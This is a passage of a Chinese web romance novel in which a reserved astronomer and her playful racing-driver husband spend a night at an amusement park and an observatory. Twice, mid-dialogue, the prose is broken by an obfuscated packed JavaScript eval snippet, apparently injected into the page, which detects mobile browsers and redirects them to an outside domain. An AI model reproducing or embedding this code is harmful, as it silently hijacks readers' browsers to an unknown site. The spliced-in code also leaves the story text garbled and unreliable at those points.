夜风裹挟着爆米花的甜香扑面而来,远处过山车的轨道被彩灯缠绕,像一条发光的巨龙蜿蜒至夜空。人群的笑闹声、音乐声、尖叫声混杂在一起,整个世界仿佛浸泡在斑斓的糖浆里。 温木抬头,看着满天流转的霓虹。 好像,也没那么幼稚。 星宙乐园的旋转木马建在中央广场,通体雪白,缀满暖黄色的星星灯串,在夜色里像一座发光的童话城堡。 温木站在围栏外,看着一群小孩子兴奋地爬上马背,家长们在旁边举着手机拍照。 她抿了抿唇,转头看向宋星燃:“你认真的?” 宋星燃已经买好了票,手里捏着两张粉色入场券,冲她挑眉:“怎么,温老师不敢?” “不是不敢。”温木推了推眼镜,“是觉得没必要。” “人生哪有那么多‘必要’的事?”他笑着拽住她的手腕,直接把她拉了进去,“玩就对了。” 木马缓缓转动,悠扬的八音盒音乐流淌在夜色里。温木选了一匹白色的独角兽,宋星燃则懒洋洋地靠在她旁边的金色马车上,一条长腿随意支着,目光一瞬不瞬地盯着她。 “看我干什么?”温木被他盯得不自在。 “看你好看。”宋星燃笑得恶劣,“温老师,你知不知道你坐在旋转木马上的样子特别——” “特别什么?” “特别像被绑架来的。” “公主。” 温木:“……” 绑你大爷! 她懒得理他,转头看向四周。旋转木马越升越高,乐园的夜景在视野里铺展开来。 远处摩天轮的彩灯像一串发光的珍珠,过山车的轨道在夜空划出流畅的弧线,人群的笑闹声被音乐柔化,变得朦胧而遥远。 夜风拂过脸颊,带来宜人的舒适。 “温老师。” 温木转头。 “咔擦。” 闪光灯闪烁。 温木淡淡:“你这样是侵犯肖像权的。” 宋星燃勾唇一笑:“怎么,你还要告我吗?” “我的公主殿下。” 温木扭过头去,她觉得自己绑回来的不是白马王子,而是野兽。 木马缓缓停下,温木刚站起身,一阵眩晕猛地袭来。她踉跄了一下,扶住栏杆,脸色微微发白。 宋星燃立刻从马车上跳下来,一把扶住她:“晕了?” “嗯。” “噗。” 温木抬头瞪他:“你笑什么?” “堂堂天文学博士,坐个旋转木马就晕了?”宋星燃憋着笑,伸手替她拢了拢被风吹乱的头发,“温老师,你行不行啊?” 温木想反驳,但胃里翻江倒海的感觉让她只能咬着唇不说话。 宋星燃收了调侃,一只手轻轻拍着她的背,另一只手从口袋里摸出纸巾递给她。 “难受就别硬撑。”他语气软了几分,“走,带你去吃点东西压一压。” 游乐园的小吃摊前,宋星燃买了一根烤肠塞给温木,自己却举着一团粉色的棉花糖,咬了一口,糖丝粘在嘴角。 温木盯着他,眼神里是藏不住的无语:“你吃棉花糖?” “不行?”宋星燃挑眉,“甜食能让人心情变好。” “我以为你会更喜欢啤酒烤肉之类的东西。” “那是平时。”他凑近她,目光落在那瓣樱唇上,压低声音,“但现在,我想尝尝甜的。” 温木别过脸,咬了一口烤肠,没接话。 宋星燃牵着温木的手,两人一人举着烤肠,一人捏着棉花糖,站在碰碰车场馆的入口处。 温木盯着场馆里横冲直撞的车辆,眉头微蹙:“这个就算了吧。” 宋星燃咬了一口棉花糖,糖丝黏在唇角:“怕输?” “不是。”温木冷静地咬了一口烤肠,“不合适。” “哪有那么多合不合适?”他歪头看她,眼睛里映着游乐园的彩光。 忽又压低声音:“你看,我们磨合了这么久,现在不是已经,很合适了吗” “宋星燃!” 温木真的想撬开他的脑子看看里面装的都是些啥。 男人却忽然凑近,呼吸擦过她的耳廓,压低声音道:“温老师,你要是不玩,我就在这儿亲你。” 温木:“……” 她抬头,对上他戏谑的眼神。 他是认真的。这个家伙绝对干得出来。 “玩就玩。”她咬牙。 “被我撞狠了,别哭。” “温老师,这话我昨晚说过。” 宋星燃得逞地笑了,拉着她进场。 碰碰车场馆里人声鼎沸,十几辆颜色鲜艳的小车在场内横冲直撞,孩子们尖叫着互相追逐,家长们在旁边笑着指挥。 温木选了一辆蓝色的车,刚坐稳,宋星燃已经开着红色的车直冲过来。 “砰!” 她的车被撞得原地转了个圈。 温木扶住方向盘,抬头瞪他:“宋星燃!” “在呢。”他单手支着下巴,笑得恣意,“温老师,碰碰车就是要‘碰’才有意思啊。” 说完,他又一脚油门撞了过来。 温木被撞得往后一仰,差点咬到舌头。她深吸一口气,握紧方向盘,决定反击。 可这男人的车技实在太好,他像是能预判她的每一个转向,每次她刚要加速,他就已经轻巧地避开,甚至还能抽空冲她挑眉,笑得嚣张。 赛车手来开碰碰车,属实是大材小用了。 “你……”温木咬牙,再次踩下油门追上去。 可宋星燃的车就跟抹了油一样,灵活地在人群中穿梭,她根本追不上。 “姐姐,你男朋友开得好厉害啊!”旁边一个小女孩坐在爸爸的车里,冲温木喊道。 温木:“……” 宋星燃听到,笑得更加得意,甚至单手扶着方向盘,另一只手冲小女孩挥了挥:“谢谢夸奖!” “不过,不是男朋友哦。” “是老公!” 温木深吸一口气,决定改变策略。 她不再追着他跑,而是假装放弃,慢悠悠地在场地边缘转圈。 宋星燃果然上钩,开着车朝她逼近,嘴里还欠揍地喊着:“温老师,投降吗?” 温木没回答,只是在他靠近的瞬间,猛地一打方向盘。 “砰!” 两辆车狠狠撞在一起。 宋星燃被撞得往后一仰,差点从座位上滑下去。他愣了一下,随即大笑出声:“可以啊温老师!” 温木终于扬了扬嘴角,可还没等她得意多久,宋星燃就一脚油门,直接顶着她的车往后推,直到她的车“哐当”一声撞上围栏。 他单手撑着方向盘,俯身靠近她,笑得像个恶作剧得逞的少年:“可惜,还是我赢了。” 温木抬头看他。 他的黑发被风吹得乱糟糟的,额角沁出细汗,眼睛却亮得惊人,嘴角还沾着一点棉花糖的糖丝。 他真适合这样的地方。 自由,热烈,无所顾忌。 就像他的人生一样,永远横冲直撞,永远意气风发。 音乐声停了,游戏结束。 宋星燃跳下车,伸手拉她起来。温木站稳后,想抽回手,却被他握得更紧。 “下一个项目?”他问。 温木看着远处闪烁的摩天轮,伸手指向那个方向。 今晚,或许可以再放纵一点。 前往摩天轮的路上,温木的脚步忽然停住了。 宋星燃顺着她的视线看过去。一座阴森森的鬼屋矗立在路边,入口处挂着破旧的布帘,里面隐约传来凄厉的尖叫声。 “想玩这个?”他挑眉。 温木点头。 宋星燃的喉结不明显地滚动了一下,但面上依旧笑得游刃有余:“温老师,没想到你喜欢这种刺激的?” “还好。”温木推了推眼镜,“只是觉得来都来了。” 宋星燃:“……” 他盯着鬼屋黑漆漆的入口,沉默了两秒,忽然伸手揽住她的肩,语气轻快:“摩天轮比较浪漫,要不我们还是——” “你怕?”温木看穿他的小心思,转头直视他的眼睛。 宋星燃立刻挺直腰板:“谁怕了?我就是觉得没意思。” “哦。”温木点点头,作势要走,“那我自己去。” “等等!”宋星燃一把拽住她的手腕,咬牙切齿,“去去去,去行了吧?” 鬼屋内部比想象中更暗。 阴冷的空气裹挟着淡淡的霉味,脚下是凹凸不平的“石板路”,两侧墙壁上挂着惨白的骷髅灯,偶尔闪过一道绿光。 宋星燃走在温木身后,一开始还强装镇定,甚至故意用欠揍的语气点评:“这道具也太假了,哪个傻子会被吓到?” 温木没理他,继续往前走。 突然。 “砰!” 一具“尸体”从天花板倒吊下来,几乎贴到宋星燃脸上。 “我靠!!!” 他猛地从背后一把抱住温木,手臂箍得死紧,声音都变了调:“先别走先别走!等一下!” 温木被他勒得差点喘不过气,无奈道:“好,我不走。” 宋星燃把脸埋在她肩上,呼吸急促。过了好一会儿,他才闷闷地问:“他走了吗?” 温木看了一眼早已缩回天花板的“尸体”:“嗯。” “……” “还不放开吗?” 脸已经丢了,人都搂上了,就更不能丢了。 宋星燃索性搂得更紧了点,理直气壮:“我怕。” 温木低头看了一眼。 “我的意思是,你要不要看看你的手放哪儿了。” 男人闻言一怔,低头。他的手正不偏不倚地覆在矮丘上,掌心下就是那柔软的弧度。 一手一个,公平分配。 空气凝固了一秒。 “......” 他触电般收回手,耳根红得滴血。 “我、我不是故意的!” 平时在床上都摸多少回了,现在还脸红什么。 温木转过身,眼睛微微眯起:“你是怎么做到,精准定位的?” 宋星燃退后半步,喉结滚动,眼神飘忽:“可能是,应激反应?” 嘴上这么说,脸上却已经恢复了那副欠揍的表情,他甚至故意活动了一下手指,仿佛在回味刚才的触感。 温木面无表情地推了推眼镜,转身继续往前走。 “等等!”宋星燃立刻追上来,一把抓住她的手腕,“你走慢点!” “怕了?”温木头也不回。 “谁怕了?”男人依旧嘴硬,手指却悄悄滑入她的指缝,十指相扣。 “我是怕你走丢。” 胆小鬼。 温木没拆穿他,任由他牵着自己。 男人的手心微微出汗,却握得很紧,像是抓住了救命稻草。 鬼屋内部幽深曲折,时不时有“鬼怪”从暗处跳出来。每遇到一次,宋星燃就贴温木更近一分。走到后半段时,他几乎整个人都挂在了温木身上。 “宋星燃,”温木停下脚步,“你挡着我走路了。” “我冷。”他干脆理直气壮地把下巴搁在她肩上,呼吸喷在她耳畔,“借我抱抱。” 温木侧头看他,他睫毛微微颤抖着,几乎不敢抬头往前看。 “随你。”她最终只是淡淡地说,继续向前走。 宋星燃得寸进尺,手臂环住她的腰,整个人像只大型树懒一样挂在她背后,让温木不得不拖着他前进。 “温老师,你手好凉。” “温老师,你身上好香。” “温老师,你好软啊。” “温……” “停。” “温老师,”他在她耳边小声说,“出去后别跟别人说这事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278531|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “说什么?”温木明知故问。 “就,我怕鬼的事。”宋星燃的声音里带着罕见的窘迫,“要是传出去,我的一世英名就毁了。” 一世英名?他真的有那个东西吗? 温木强压住嘴角:“看你表现。” “我表现还不够好?”宋星燃立刻恢复了那副欠揍的语气,温热的气息喷在她耳后,“前天晚上是谁——” “闭嘴。”温木耳尖一热,加快脚步。 终于看到出口的光亮时,宋星燃如释重负地长舒一口气。 “就这?”他双手插兜,挑眉看向温木,“一点挑战性都没有。” 仿佛刚才那个瑟瑟发抖的人不是他。 这男人是精分吗? 温木感觉多少有点。 不然也不能在床上一边腻乎乎地喊她“老婆”,一边只顾踩油门、完全不刹车。 她懒得理他,径直走向不远处的摩天轮。 宋星燃快步跟上,自然而然地牵起她的手。 “生气了?”他歪头看她,眼睛在霓虹灯下闪闪发亮。 “没有。”温木淡淡道,“只是觉得某人很幼稚。” 他似乎已经习惯了她这样说他,不以为耻反以为荣:“谢谢夸奖。” 摩天轮前排队的多是情侣,两人本就身材高挑,长相出众,引得前方人频频回头。 男人将她往怀里又带了带,大手覆在她额前,遮住她小半张脸。 温木抬头望着缓缓转动的巨大轮盘,彩灯勾勒出它的轮廓,在夜空中宛如一轮明月。 “第一次坐摩天轮?”宋星燃问。 温木摇头:“小时候坐过,很久以前了。” “和谁?” “我爸妈。”温木顿了顿,“那时候我大概,十岁?后来学业忙,就再没来过游乐园。” 宋星燃若有所思地看着她:“温老师,你的人生是不是按部就班,每一步都规划得清清楚楚?” “差不多。”温木坦然承认,“我喜欢可控的事物。” 就像结婚,她觉得到了该结婚的年龄,才开始考虑,也就这么结了。 “比如星星?” “不。” “星星恰恰是最不可控的。” 温木难得地多说了几句,“它们诞生、演化、死亡,遵循宇宙的规律而非人类的意志。我们只能观测、计算、预测,却永远无法真正控制它们。” 宋星燃眨眨眼:“听起来很浪漫。” “浪漫?”温木有些意外,“大多数人觉得天文学枯燥乏味。” “不受控制的东西才有意思。”宋星燃笑着说,“就像赛车,你永远不知道下一秒会发生什么。那种不确定感……” “让人上瘾。” 温木想问他一句话,恰巧轮到他们上摩天轮了。 工作人员拉开舱门,宋星燃绅士地让温木先上,自己随后挤进狭小的空间,紧挨着她坐下。 舱门关闭,摩天轮缓缓上升。 宁川的夜景在脚下铺展开来,万家灯火如同倒映在地面的星河。 “你为什么选择赛车?”温木主动开口。 宋星燃靠在玻璃上,侧脸被彩灯映得忽明忽暗:“因为我讨厌被束缚。” “你知道吧,我家是书香门第。我大哥二哥,不是在美国就是在英国留学。我爸妈希望我和他们一样,走学术路线。但我从小就知道自己不是读书的料。” “好多次我都想,怎么读书的基因就没遗传给我。但我很快就想明白了。” “你知道为什么吗?” “为什么?” 男人得意得扬眉:“因为我有大哥二哥都没有的,最特别的天赋。” 他笑了笑,眼神飘向远方:“我十岁,第一次偷偷开卡丁车。那种速度感,就像飞一样。” “那个时候我就知道,那才是我想要的生活。” 温木:“爸妈不同意吧?” “何止不同意。”宋星燃嗤笑一声,“我爸差点打断我的腿,但我不在乎。一个人在欧洲就一个人,吃饭,训练,比赛,生活就这几件事。从最低级别的比赛开始,一步步到现在。” “我现在很牛,不是吗?”他反问她。 温木注视着他说话时闪亮的眼睛,忽然理解了为什么这个男人能在赛场上所向披靡 他眼中有着纯粹的执着与热爱。 某种意义上来说,他们很像。 “你呢?”宋星燃转向她,“为什么选择星星?” 温木沉默片刻:“因为它们永恒。” “永恒?” “人类生命短暂,文明转瞬即逝。但星星不是。它们的光芒穿越亿万年来到地球,告诉我们宇宙的故事。”温木的声音轻柔却坚定,“我想读懂那些故事。” 宋星燃目不转睛地注视着她。 这个看着古板冷淡的女人,在吊带裙和金丝眼镜之下,藏着一颗如此浪漫而执着的心。 “温老师,”他忽然凑近,“有没有人说过,你谈起星星的时候……” “特别迷人?” 温木别过脸,掩饰微微发烫的脸颊:“没有。” “那我就是第一个。”男人笑得骄傲。 “这是我的荣幸。” 摩天轮继续上升,已经过了半程。 宋星燃不安分地玩着她的手指,忽然问她:“你知道摩天轮的传说吗?” “什么传说?” “当摩天轮到达最高点时,”他故意拖长音调,眼神暧昧,“接吻的恋人会永远在一起。” 温木转过头去:“迷信。” “而且,我们不是恋人。” “试试又不吃亏。”宋星燃凑得更近,鼻尖几乎碰到她的脸颊。 温木不为所动:“我对迷信活动没兴趣。” “这不是迷信,这是传统。” 宋星燃不死心,手指轻轻摩挲她的掌心。 “传统也是迷信的一种形式。” 男人挫败地靠回座位,翘起二郎腿:“温老师,你真没情趣。” 温木:“现在才知道?” 宋星燃气鼓鼓地扭头看向窗外,却仍紧紧握着她的手不放。温木看着他孩子气的侧脸,不由的有点心软。 看着凶巴巴的,其实意外地好懂。 年纪小的男人都这样吗? 温木不知道,但她觉得,似乎没那么讨厌。 摩天轮即将到达最高点,整个城市的夜景尽收眼底。男人虽然生气,眼睛却时不时偷瞄她,又看看越来越近的顶点,意图明显得几乎写在脸上。 温木假装没注意到他的小动作,自顾自欣赏风景。 顶点到了。 摩天轮微微一顿,仿佛时间在此刻静止。 “宋星燃。” “干嘛。” “要不要跟我接吻?” 26. For the stars 温木的声音很轻,却像一颗星星坠入寂静的宇宙,在宋星燃的耳畔炸开一片璀璨的回响。 她在问他:“要不要跟我接吻?” 宋星燃盯着她,那双总是带着戏谑的眼睛此刻却像是被定格了。他的呼吸微微一滞,喉结滚动,目光从她清冷的眉眼滑落到她的唇上。 也许只有一秒,两秒。 然后,他吻了上来。 他的唇很热,比温木想象中更柔软,却又带着不容拒绝的力道。一开始只是轻轻地贴上来,试探般地摩挲,像是在确认她的反应。 温木睁着眼,能清晰地看见他微垂的睫毛,轻轻颤着,像是蝴蝶的翅膀。他吻得很专注,眉头微微蹙起,仿佛此刻世界上只剩下这一件事值得他认真对待。 心跳忽地漏了一拍。 这和之前不一样。 他们在床上也会接吻,带着情欲的侵略性,是赤裸裸的占有和征服。 但这一次的吻是干净的、纯粹的,甚至带着一点小心翼翼的珍视。 她怔了怔,下意识地想要后退,男人的手却在这时覆上她的手指,慢慢地、不容抗拒地与她十指相扣。他的掌心温热,指腹的薄茧轻轻蹭过她的指节,像是无声的安抚。 温木的睫毛颤了颤,终于缓缓闭上了眼睛。 吻开始变得更深。 男人不再满足于浅尝辄止,轻轻抵开她的唇缝,试探性地触碰她的牙齿。 他察觉到她的紧张,低笑了一声。 温木的肺活量远不如他,很快就被吻得气息紊乱,胸口起伏,手指抵在他的肩膀上想要推开他。 宋星燃直接扣住她的手腕,反手压在了摩天轮的玻璃上。 “唔……” 温木的抗议被他吞进唇齿间。 他吻得更深了,几乎不给她喘息的机会,却又在察觉到她真的缺氧时,稍稍退开一点,让她呼吸一口新鲜空气,然后再次覆上来,继续加深这个吻。 摩天轮缓缓下降,宁川的夜景在玻璃外流动,霓虹灯的光影映在两人交缠的身影上,朦胧不清。 直到舱门轻轻一震,摩天轮终于落地。 宋星燃这才依依不舍地放开她。 温木的呼吸仍有些急促,唇上泛着水润的艳红,金丝眼镜后的眼睛蒙上一层薄薄的水雾,像是被欺负狠了,却又强撑着维持冷静。 男人盯着她,眼神专注得近乎灼热。 他的目光却格外认真,甚至带着一点连自己都没察觉的温柔。 空气里还残留着暧昧的余温。 最终,温木先移开了视线,嗓音有些低哑:“回家吧。” 宋星燃看着她微红的耳尖,唇角勾起一抹笑。 “好。” * 宋星燃洗完澡出来,发梢还滴着水,浴袍松松垮垮地系着,露出大片胸膛。他擦着头发,环顾一圈空荡荡的卧室,眉头微挑。 人呢? 他下楼,客厅只开了一盏暖黄的小夜灯,光线昏沉温柔。温木蜷在沙发里,纤细的身躯几乎陷进柔软的靠垫中,手里握着遥控器,正在翻找电影。 她穿着一条丝质吊带睡裙,薄薄的布料贴着肌肤,露出大片雪白的肩颈线条,白得叫人移不开眼。 男人眸色一暗,喉结滚动。 他转身上楼,再下来时,手里多了一条羊绒毯。 温木听见脚步声,头也不抬:“洗完了?” 她玩累了,声音也是软绵绵的。 “嗯。” 宋星燃走近,直接把毯子往她身上一裹,连人带沙发一起裹成个茧。 温木皱眉:“现在是夏天。” “夏天也裹着。” 宋星燃不容拒绝地把她包严实,然后一屁股坐到她旁边,手臂自然而然地搭上沙发背,几乎将她半圈在怀里。 温木瞥他一眼,没说话,继续翻着电影列表。 “看什么?”男人凑近,湿漉漉的发梢蹭到她的脸颊,带着沐浴露的淡香。 “不知道。” “随便找一部。” 其实她也不怎么看电影,看的最多的应该是跟天文学有关的的纪录片。 “要不要看爱情片?”宋星燃提议,指尖若有似无地拨弄她散落的发丝。 温木果断拒绝:“无聊。” 她手指一点,直接选中《变形金刚》。 宋星燃挑眉:“你喜欢这个?” “嗯。”温木淡淡应了一声,目光专注地盯着屏幕。 宋星燃低笑,手臂从沙发背上滑下来,直接搭在她肩膀上,掌心一拢,就把她的脑袋往自己肩头按。 温木没挣扎,甚至很顺从地靠了过去,发丝蹭过他的颈侧,痒痒的。 男人唇角微勾,心满意足。 电影开始,引擎轰鸣声在客厅里回荡。 温木看得认真,甚至在某些改装车镜头出现时,微微直起身子,指着屏幕说:“这辆车的底盘改装过,原厂不可能有这个稳定性。” 宋星燃略微惊讶,虽然已经见识过她装轮胎的手艺,但不知道,她居然对车体知识也这么了解。 “你喜欢车吗?” 温木:“还好。” 宋星燃来了兴致,手臂收紧,把她往怀里带了带,开始给她讲解电影里出现的每一辆车的性能参数,甚至哪些镜头里的飙车戏是实拍,哪些是特效。 温木听得很认真,偶尔还会反驳他几句,两人一来一往,竟聊得格外投机。 宋星燃讲着讲着,忽然发现身边没了动静。 他低头一看,温木已经闭上了眼睛,呼吸均匀绵长,长睫在眼下投下一小片阴影,唇瓣微微张着,睡得很安静。 男人勾唇,指尖轻轻拨开她脸颊上的碎发。 这就玩累了? 那下次在床上就少来几次吧 他的老师,好像确实很容易疲惫。 他轻手轻脚地摘掉她的眼镜,放在茶几上,然后弯腰,一手穿过她的膝弯,一手托住她的背,把人稳稳地抱了起来。 温木在睡梦中无意识地往他怀里蹭了蹭,脸颊贴着他的胸膛,温热呼吸透过薄薄的浴袍拂过皮肤。 宋星燃喉结微动,抱着她上楼,动作轻缓地把她放在床上。 温木半梦半醒间微微睁眼,迷蒙地看了他一眼,似是在辨认他是谁。 好久,小声嘟囔一句:“别亲了。” 说完,又闭上眼睛,沉沉睡去。 男人单膝蹲在床边,手臂支在她脑袋旁,眸色暗沉,目光一寸寸描摹她的睡颜,指腹轻轻摩挲她的唇角。 别亲了? 为什么别亲? 他是她老公,合该亲她,随时随地,想亲就亲。 他一点点靠近,呼吸交织,却在即将触碰到她的唇时停住。 良久,男人埋进她的颈窝,鼻尖蹭过她细腻的肌肤,呼吸灼热,拳头握得死紧,指节都泛了白。 “不亲就不亲。” 像赌气,又像撒娇。 * 清慕山的夜风裹挟着松木清香,从敞开的观测室窗口涌入。 温木站在折射望远镜前,深蓝色高领毛衣衬得她肤色如雪,发丝被夜风撩起,在脸颊边划出几道柔软的弧度。纤细的手指在控制面板上快速敲击,眼睛始终未离开目镜,整个人如同与仪器融为一体。 “所以这就是你平时的工作状态?”宋星燃靠在门框上,双臂交叉,目光灼灼地盯着她专注的侧脸。 温木没有回头,声音平静:“我说过你可以不用跟来。” “那怎么行。” 宋星燃大步走进观测室,马丁靴在金属地板上踏出清脆声响。 “万一我老婆被外星人拐跑了怎么办?” 温木终于从目镜前移开视线,眼神里闪过一丝无奈。 “这里是专业天文台,不是科幻片场。” 就算有外星人的话,她也希望他们能先给宋星燃看看脑子,提升提升智商。 清慕山天文台是宋家的私有财产,也是全宁川地理位置最好的天文台,据说是宋家老爷子送给夫人的三十岁生日礼物,观测设备都是最顶级的那种。 如今二老周游世界去了,天文台也少有人来。温木一人独享,真的是美哉。 天文观测是一项很重要也很辛苦的工作,自从结婚以后,她也有一段时间没来过天文台了。 温木今天本想趁他睡着悄悄出门,为此,睡觉前还顺着他闹了好一阵。 结果刚穿好鞋子,就听见身后男人的声音:“温老师去哪儿啊。带我一个。” 然后,一个人的天文台就变成了两个人的。 宋星燃已经走到她身后,胸膛几乎贴上她的后背。 他低头,呼吸喷在她耳畔:“对我来说都一样神秘。” 温木不着痕迹地向前半步,重新调整望远镜焦距:“如果你非要待在这里,至少保持安静。英仙座流星雨的最佳观测窗口只有四小时。” “如果你打扰了我工作,你知道后果。” 男人欠不登地问:“什么后果?” 温木踮脚,蜻蜓点水似地碰了碰他的唇角。 “这个,就没有了。” 宋星燃挑眉,却真的后退到墙边的椅子上坐下,长腿随意伸展,注视着温木工作的背影。她时而俯身记录数据,时而皱眉调整参数,动作精准而流畅。 观测室里只有设备运转的轻微嗡鸣和她笔尖划过纸面的沙沙声。 窗外,清幕山的夜空如同一块深蓝色天鹅绒,繁星如钻石般镶嵌其上。 远处的松林在夜风中摇曳,发出海浪般的沙沙声。 三小时过去,温木终于直起有些僵硬的腰背,走到休息区坐下,摘下眼镜揉了揉鼻梁。 一杯冒着热气的咖啡出现在她眼前。 “没加糖。” 温木微怔,接过马克杯。热度从掌心蔓延至全身,她这才意识到山上的夜有多冷。 男人不知何时已经脱下皮夹克,只剩一件黑色短袖T恤,露出线条分明的手臂。 他将夹克披在她身上:“你手指都冻红了。” 怪谁? 她本来都准备好了大衣,结果临出门被他一打岔,忘了个干净。 “你不冷?”温木抿了一口咖啡,却有点甜味,应该是加了糖的。 宋星燃咧嘴一笑:“看到你就热。” 温木白了他一眼,转身走向露台。夜风扑面而来,带着高山特有的清冽。她深吸一口气,仰头望向星空。英仙座流星雨正值高峰期,不时有流星划过天际,在夜空中留下转瞬即逝的光痕。 宋星燃跟出来,站在她身侧。 沉默地望着星空,谁都没有说话。 “那颗特别亮的是什么?”他忽然指向东南方一颗明亮的星体。 温木顺着他的手指看去,嘴角不自觉上扬:“木星。” 宋星燃:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284584|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好像很高兴?” “这是今晚观测的主要目标之一。”温木的声音难得带上温度,“木星正处于冲日位置,是全年最佳观测期。” 宋星燃歪头看她:“你最喜欢哪颗星星?” 温木没有立即回答。夜风拂过她的发梢,星光落进她的眼底。 过了许久,她才轻声说:“木星。” “因为你的名字里有个''木''?” “一点点吧。”温木转身靠在栏杆上,目光投向远方。 “木星是太阳系最大的行星,质量是其他行星总和的两倍多。它表面有持续数百年的超级风暴,风速可达每小时600公里。” 宋星燃挑眉:“听起来很暴力。” “但它同时保护着地球。”温木的声音轻柔下来,“木星有很强大的引力场,是地球一面盾牌,偏转或捕获了大量可能撞击地球的小行星和彗星。它狂暴又温柔,就像……” 她停住,睫毛轻颤。 “就像什么?”宋星燃靠近一步。 温木摇摇头,重新戴上眼镜:“没什么。该继续观测了。” 宋星燃一把拉住她的手腕。男人的掌心滚烫,在寒夜里像个暖炉。 “说完。”他声音低沉,带着不容拒绝的坚定。 温木挣了一下,没挣脱。 她抬头对上宋星燃的眼睛,那里面映着星光,亮得惊人。 “就像……” “有些人表面看起来玩世不恭,内心却比谁都可靠。” 男人的瞳孔微微睁大,随即松开她的手腕,转而抚上她的脸颊,拇指轻轻摩挲她冰凉的皮肤,语调轻快: “温老师,这是情话吗?” 温木别过脸:“天文事实而已。” 宋星燃低笑,手指滑到她下巴,轻轻将她的脸转回来:“那我也告诉你一个事实。” “你现在美得让我想把你按在这栏杆上亲。” 温木的耳尖瞬间红了。 她推开他:“我还有工作。” 回到观测室,温木重新投入工作,但心跳却迟迟未能平静。她能感觉到一道目光一直追随着她,像团无形的火,烧得她后背发烫。 凌晨两点,观测接近尾声。 温木的手指因为长时间操作仪器而微微发抖,肩膀也因为保持同一姿势而僵硬酸痛。她刚想抬手揉肩,一双温暖的大手已经覆上她的肩膀,力道适中地揉捏起来。 “累了?”宋星燃的声音在耳边响起,比平时低沉许多。 温木下意识想躲,却被他按住:“别动。” 他的手指精准地找到她紧绷的肌肉,力道恰到好处。温木不得不承认,这比她自己胡乱揉几下有效得多。她放松下来,甚至轻轻叹了口气。 “冷吗?”宋星燃又问。 温木摇头,却突然打了个喷嚏。 “撒谎。” 宋星燃脱下自己的T恤,只剩一件背心,然后将还带着体温的衣物披在她肩上。 “穿上。” 温木愣住。布料上残留着他的体温和淡淡的古龙水味道,莫名让她脸颊发烫。 她拢了拢衣服,小声道:“谢谢。” 宋星燃没说话,只是走到角落的简易厨房,翻出茶壶和茶叶。 十分钟后,他端着一杯冒着热气的水果茶回来:“喝了。” 温木接过,茶水温热微甜,带着柑橘和肉桂的香气。她小口啜饮,感觉寒意一点点被驱散。 “你还会泡茶?”她有些意外。 男人长腿交叠靠在桌边,背心勾勒出结实的肌肉线条:“我会的多了去了,只是你从来不问。” 她干嘛要问。 温木低头喝茶,没接话。 观测室里再次陷入沉默,只有仪器运转的声音和两人的呼吸交织在一起。 凌晨四点,温木终于完成所有数据的记录和初步分析。 她伸了个懒腰,颈椎发出轻微的响声。 果然是人老了,连骨头都在抱怨。 宋星燃立刻走过来,双手搭上她的肩膀:“结束了?” “嗯。” 温木点点头,一阵疲惫袭来。连续八小时的高度集中让她太阳穴隐隐作痛。 宋星燃似乎察觉到她的不适,伸手轻轻按上她的太阳穴:“闭眼。” 温木犹豫了一下,还是顺从地闭上眼睛。他的指腹温暖干燥,以恰到好处的力道画着小圈,头痛果然缓解不少。 “你手很凉。”宋星燃忽然说。 这话,他好像说过很多遍。 温木睁开眼,发现他不知何时握住了她的双手,正用掌心包裹着轻轻揉搓。他的睫毛在灯光下投下一小片阴影,神情专注得近乎温柔。 没有调侃,没有痞笑,只是安静地帮她暖手。 心头涌起一股陌生的情绪,让温木喉咙发紧。 “好了。”她轻轻抽回手,“该收拾设备了。” 宋星燃点点头,主动帮她整理观测记录和工具。两人默契地配合着,很快将天文台恢复原状。 走出观测室时,东方已经泛起鱼肚白。晨雾笼罩着清幕山,给松林披上一层薄纱。 温木走出几步路,却没有听见熟悉的脚步声跟上来。 回头,宋星燃站在她身后,垂眸,沉默着。 “怎么了。”她问他。 良久,他开口: “温老师。” “我要走了。” 27. For the stars 温木听到宋星燃说要走时,第一反应是松了一口气。 谢天谢地,她总算能一觉睡到大天亮了。这段时间被宋星燃折腾得够呛,这男人简直是永动机,她经常大清早就被蹭醒,几乎忘了独自入眠是什么感觉。 宋星燃幽幽开口:“你好像很高兴啊。” 温木抬头,正对上他微微眯起的眼睛。 “没有。” “我哭了,”她面不改色地撒谎,“天太黑,你没看见。” 宋星燃向前一步,阴影笼罩下来:“是吗?” “不是。” 温木干脆地承认,抬眼看他,却发现他眼中的失落比她预想的要真实得多。 那一瞬间,她心里某个角落突然软了下来。 见惯了他嬉皮笑脸的样子,此刻竟显得有几分脆弱。 “你,”她犹豫了一下,“舍不得我吗?” 山间的晨雾在他们之间流动,松木的清香混合着宋星燃身上淡淡的古龙水味道。 他沉默了片刻,轻轻“嗯”了一声。 温木怔住,心口微酸。 她刚想开口安慰他,就听见他接着说:“舍不得你,去了欧洲就看不到你穿漂亮衣服了。” 温木翻了个白眼,刚才那一瞬间的心软顿时烟消云散。 果然是她想多了,这小子脑子里装的都是黄油,除了那档子事儿就再也想不到别的了。 她转身就往停车场走,听见男人在身后轻笑。 他三两步追上来,拉住她的手腕:“生气了?” “没有。”她甩开他的手,却被他找到空隙,十指相扣。 男人凑近,呼吸喷在她耳畔:“我乖乖的,你有空来看我,嗯?” 温木侧头看他:“如果你说到做到的话。” 